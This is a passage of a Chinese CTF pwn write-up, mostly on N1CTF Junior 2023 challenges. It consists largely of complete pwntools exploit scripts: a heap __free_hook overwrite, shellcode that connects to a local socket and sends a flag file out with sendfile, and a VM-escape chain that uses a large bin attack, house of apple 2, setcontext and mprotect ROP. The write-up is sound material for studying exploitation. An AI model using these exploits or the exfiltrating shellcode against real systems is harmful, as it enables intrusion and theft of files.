72
73
74
75
76
77
78
79
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
#s=process('./pwn')
s=remote("localhost",9999)
libc=ELF("./libc-2.27.so")
elf=ELF("./pwn")

def menu(ch):
    s.sendlineafter(b">>> ",str(ch).encode())

def add(sz1,sz2,cont1,cont2):
    menu(1)
    s.sendlineafter(b"size: ",str(sz1).encode())
    s.sendlineafter(b"szie: ",str(sz2).encode())
    s.sendafter(b"title: ",cont1)
    s.sendafter(b"content: ",cont2)
    #pause()

def show(idx):
    menu(2)
    s.sendlineafter(b"Index: ",str(idx).encode())

def edit_title(idx,cont):
    menu(3)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendafter(b"title: ",cont)

def edit_content(idx,cont):
    menu(4)
    s.sendlineafter(b"Index: ",str(idx).encode())
    s.sendafter(b"content: ",cont)

if __name__=="__main__":
    dat0=b""
    race_size=0xe00
    add(0x80,0x80,b"/bin/sh\x00",b"/bin/sh\x00")
    add(0x450,0x450,b"unsorted",b"unsorted")
    add(0x1000-race_size,race_size,b"2",b"A"*(race_size-1)+b"0")
    add(0x1000-race_size,race_size,b"3",b"A"*(race_size-1)+b"1")
    add(0x1000-race_size,race_size,b"4",b"A"*(race_size-1)+b"2")
    add(0x1000-race_size,race_size,b"5",b"A"*(race_size-1)+b"3")
    add(0x1000-race_size,race_size,b"6",b"A"*(race_size-1)+b"4")
    add(0x1000-race_size,race_size,b"7",b"A"*(race_size-1)+b"5")
    add(0x1000-race_size,race_size,b"8",b"A"*(race_size-4)+b"race")
    add(0x1000-race_size,race_size,b"9",b"A"*(race_size-4)+b"race")
    add(0x20,0x20,b"x"*0x20,b"x"*0x20)  #9
    show(9)
    dat0=s.recvuntil(b'1. Create book\n')

    add(0x460,0x500,b"padout0",b"padout0-#10")
    add(0x220,0x230,b"padout1",b"padout1-#11")
    edit_title(1,b"padout1-#11")
    show(9)
    s.recvuntil(p16(0x461))
    libc.address=u64(s.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00"))-(0x7f48394cbca0-0x7f48390e0000)
    success(hex(libc.address))
    
    edit_title(0,b"padout1-#11")
    show(9)
    s.recvuntil(p8(0x91))
    (s.recv(15))
    heap_base=u64(s.recv(6).ljust(8,b"\x00"))-(0x10)
    success(hex(heap_base))
    
    edit_title(9,flat([
        b"T"*0x40,
        0,0x21,0,0,
        0,0x121,
        b"T"*0x110,
        0,0x91,
        libc.sym.__free_hook-8,0,
    ]))

    pause()
    add(0x40,0x40,b"a114514",b"b114514")
    add(0x40,0x40,b"/bin/sh\x00"+p64(libc.sym.system),b"FINAL")
    edit_title(12,b"/bin/sh\x00")

    s.interactive()

ezshellcode

带符号,但是手动进行了混淆。

注意到两段flag,一段读到内存close掉,一段没读没close。

没close直接sendfile,close的怎么办呢……

一个小trick,fs:[0x300]存着一个栈地址,可以用来恢复rsp

然后就是调试,找一下flag需要sub多少rsp,然后写个二分。

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
s=process("./main")
def part1():
    shellcode1 = '''
    mov rsp, fs:[0x300]
    // socket(AF_INET, SOCK_STREAM, 0)
    push SYS_socket
    pop rax
    push AF_INET
    pop rdi
    push SOCK_STREAM
    pop rsi
    syscall 
    
    xchg rdi, rax;
    mov rax, 0x0100007f39300002
    push rax

    push SYS_connect /* 0x2a */
    pop rax
    
    mov dl, 0x10;
    push rsp;pop rsi;
    syscall

    push 0x20;pop r10;
    push 0;mov rdx,rsp
    push 4
    pop rsi
    /* call sendfile() */
    push SYS_sendfile /* 0x28 */
    pop rax
    syscall
    '''

    pause()
    s.send(asm(shellcode1))
    s.interactive()
def part2(pos,val):
    shellcode2=f"""
    mov rsp, fs:[0x300]
    
    push SYS_socket
    pop rax
    push AF_INET
    pop rdi
    push SOCK_STREAM
    pop rsi
    syscall 
    
    xchg rdi, rax;
    mov rax, 0x0100007f39300002
    push rax

    push SYS_connect /* 0x2a */
    pop rax
    
    mov dl, 0x10;
    push rsp;pop rsi;
    syscall

    sub rsp,0x858
    
    cmp byte ptr [rsp+{pos}],{val}
    jb below
    mov rax,__NR_execve
    syscall
below:
    jmp below

    """
    pause()
    s.send(asm(shellcode2))
    s.interactive()

part2(0,80)

N1CTF Junior 2023 Pwn WriteUp

当年依旧被打爆了,好像只做了一个签到,赛后不久看了一眼ret2dl出了另一个。

现在仅做一下记录。

附件来自纯真师傅,这里表示感谢,以及他的博客在这里

附件下载分流

StudentManager

addStudent的时候问你要的size是int,可以是负数。在申请堆块tryGetSpace时就会申请到Stulist[offset]的位置。

Partial Relro,可以低位覆盖got泄露libc,然后直接改got表。

gotclear

题如其名,栈溢出,但是got表全没了。

了解一下动态连接的流程,强制让他重新解析一遍system函数即可。

ShellcodeMaster

Wings的博客

顶级签到

see-also: zqy-ink

核心问题在于:

  • string在函数间由string_view传递,显而易见string_view的生存期应该短于string。
  • string在getinput结束后即被析构,但是string_view却被传递到了下一个函数。
  • string_view层层传递回主函数,导致UAF的发生。

此时只需要string_view指向的堆块内容为admin即可,写入相同长度字符串即可。

经测试总长度最少为32,具体原因可以参考此处对于SSO的讨论

Machine

see-also: zqy-ink

真的没做过这种,连逆带写编译器写了两个小时,第二天调着调着一晚上就过去了,手真的太生了。

程序最开始等同于calloc了最大0x1000的代码段,和最大0x10000的内存段。

虚拟机中实现了寄存器间加减乘除、异或、移位操作,给了写入寄存器和内存之间的写入和读取操作,给了0x10000以内大小堆块的分配和释放,给了堆块前0x10的内容读,没有任何向堆块的写入操作。

漏洞点在于通过寄存器向内存写入时(即[功能),是基于mem[idx]向内存写入8bytes,边界检查处的idx*8的检测看似没有问题,如果你注意一下汇编就会有收获:

1
2
shl    eax, 3
mov    word ptr [rbp+var??], ax

这里的eax高位被丢弃。

也就是说,假设idx*8只会保留0xffff以内的值,只要你最开始memsize开满,idx随便选。

至此我们可以在mem后最大0x80000的空间中任意写。

通过改size打堆重叠造UAF泄露地址,由于没有写入堆块的功能,这里似乎只能打_IO_list_all了。

下面的脚本打的是house of apple 2配合setcontext+61栈迁移走shellcode。

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
from pwn import *
context(arch="amd64", os="linux", log_level="debug")
s=process("./pwn")
elf=ELF("./pwn")
libc=ELF("./libc.so.6")

def compiler(code):
    op=b""
    code = code.split("\n")
    code = [line for line in code if line.strip("\n") != ""]
    for e in code:
        if e.startswith("#"):
            continue
        arr=e.split(" ")
        if arr[0]=="alloc":
            op+=b"?"
            op+=p8(eval(arr[1]))  # buf idx
            op+=p16(eval(arr[2])) # buf sz
        elif arr[0]=="free":
            op+=b"!"
            op+=p8(eval(arr[1]))  # buf idx
        elif arr[0]=="set":
            op+=b"~"
            op+=p8(eval(arr[1]))  # dst reg
            op+=p64(eval(arr[2])) # value
        elif arr[0]=="reveal":
            op+=b"`"
            op+=p8(eval(arr[1]))  # dst reg
            op+=p8(eval(arr[2]))  # buf idx
            op+=p8(eval(arr[3]))  # offset 0/1
        elif arr[0]=="stm":
            op+=b"["
            op+=p16(eval(arr[1])) # dst mem offset
            op+=p8(eval(arr[2]))  # src reg
        elif arr[0]=="ldm":
            op+=b"]"
            op+=p8(eval(arr[1]))  # dst reg
            op+=p16(eval(arr[2])) # src mem offset
        else:
            if arr[0]=="mul":
                op+=b"*"
            elif arr[0]=="div":
                op+=b"/"
            elif arr[0]=="add":
                op+=b"+"
            elif arr[0]=="sub":
                op+=b"-"
            elif arr[0]=="sar":
                op+=b">"
            elif arr[0]=="sal":
                op+=b"<"
            elif arr[0]=="xor":
                op+=b"^"
            op+=p8(eval(arr[1]))  # dst reg
            op+=p8(eval(arr[2]))  # op1 reg
            op+=p8(eval(arr[3]))  # op2 reg
    return op

def setmem(off_start,values):
    code=""
    if type(values)==list:
        for i in range(len(values)):
            code+=f"set 0 {values[i]}\n"
            code+=f"stm {off_start+i} 0\n"
    elif type(values)==bytes:
        values=values.ljust(0x100,b"\x90")
        for i in range(int(len(values)/8)):
            code+=f"set 0 {u64(values[i*8:i*8+8])}\n"
            code+=f"stm {off_start+i} 0\n"
    return code
"""
buf idx [0,6]
reg idx [0,3]
"""

code=f"""
alloc 0 0x430
alloc 1 0x440
set 0 0x440+0x451
stm 0x2001 0
# construct overlap

free 0
alloc 2 0x430
alloc 3 0x440
alloc 4 0x500
# now 3==1

free 1
reveal 1 3 0
# now main_arena+96 in r1

set 2 0x219ce0
sub 1 1 2
# now libc base in r1

alloc 5 0x500
# push overlaped chunk to large bin

free 2
alloc 6 0x420
alloc 0 0x500
reveal 2 3 0
# rearrange heap, leave fd_nextsize in buf[1]

set 3 0x116e0
sub 2 2 3
# now heap base in r2

free 0
free 5
free 4
free 6
# clean up all, uaf ptr in buf[3]

alloc 0 0x440
alloc 1 0x500
alloc 2 0x450
alloc 3 0x500
free 2
alloc 4 0x500
set 3 0
stm 0x2130-2 3
stm 0x2130-1 3
stm 0x2130 3
set 0 {libc.sym._IO_list_all-0x20}
add 0 1 0
stm 0x2130+1 0
free 0
alloc 5 0x500
# large bin attack should be done

# now prepare file structure
set 0 0
set 3 0

stm 0x2000 0
stm 0x2001 3
stm 0x2002 3
stm 0x2003 3
stm 0x2004 3
set 3 1
stm 0x2005 3
set 0 {libc.sym._IO_wfile_jumps}
add 0 1 0
stm {0x2000+int(0xd8/8)} 0
set 0 0x112b0+0x100
add 0 2 0
stm {0x2000+int(0xa0/8)} 0
stm {0x2000+int(0x1e0/8)} 0
set 0 {libc.sym.setcontext+61}
add 0 1 0
stm {0x2000+int(0x168/8)} 0
set 0 0x12000
add 0 2 0
stm {0x2000+int(0x1a0/8)} 0
set 0 0x2a3e5+1
add 0 1 0
stm {0x2000+int(0x1a8/8)} 0
# exit will trigger exploit

# now prepare mprotect(heap,0x20000,7)
set 0 0x2a3e5
add 0 1 0
stm {0x2000+int((0x12000-0x112b0)/8)} 0
set 0 0
add 0 2 0
stm {0x2000+int((0x12000-0x112b0)/8)+1} 0
set 0 0x000000000002be51
add 0 1 0
stm {0x2000+int((0x12000-0x112b0)/8)+2} 0
set 0 0x20000
stm {0x2000+int((0x12000-0x112b0)/8)+3} 0
set 0 0x0000000000090529
add 0 1 0
stm {0x2000+int((0x12000-0x112b0)/8)+4} 0
set 0 7
stm {0x2000+int((0x12000-0x112b0)/8)+5} 0
set 0 0
stm {0x2000+int((0x12000-0x112b0)/8)+6} 0
set 0 {libc.sym.mprotect}
add 0 1 0
stm {0x2000+int((0x12000-0x112b0)/8)+7} 0
set 0 0x2a3e5+1
add 0 1 0
stm {0x2000+int((0x12000-0x112b0)/8)+8} 0
set 0 0x12000+0x50
add 0 2 0
stm {0x2000+int((0x12000-0x112b0)/8)+9} 0
# then shellcode
"""
code+=setmem(0x2000+int((0x12000-0x112b0)/8)+10,asm(shellcraft.open("/flag",0,0)+shellcraft.read(3,'rsp',0x100)+shellcraft.write(1,'rsp',0x100)))

io=flat({
    0:0xdeadbeefdeadbeef,
    0x20:0,
    0x28:1,
    0xa0:1919810+0x112b0+0x100,
    0xd8:114514+libc.sym._IO_wfile_jumps,
    0x118:0,
    0x130:0,
    0x1e0:1919810+0x112b0+0x100,
    0x168:114514+libc.sym.setcontext+61,
    0x1a0:1919810+0x12000, # rsp
    0x1a8:114514+0x000000000002a3e5+1
},filler=b"\x00",length=0x400)

pause()
payload=compiler(code)
s.sendlineafter(b"What's the size of your code?\n",str(0x1000).encode())
s.sendlineafter(b"What's the size of your memory?\n",str(0x10000).encode())
s.sendafter(b"code:",payload)
s.interactive()

持续更新中

0%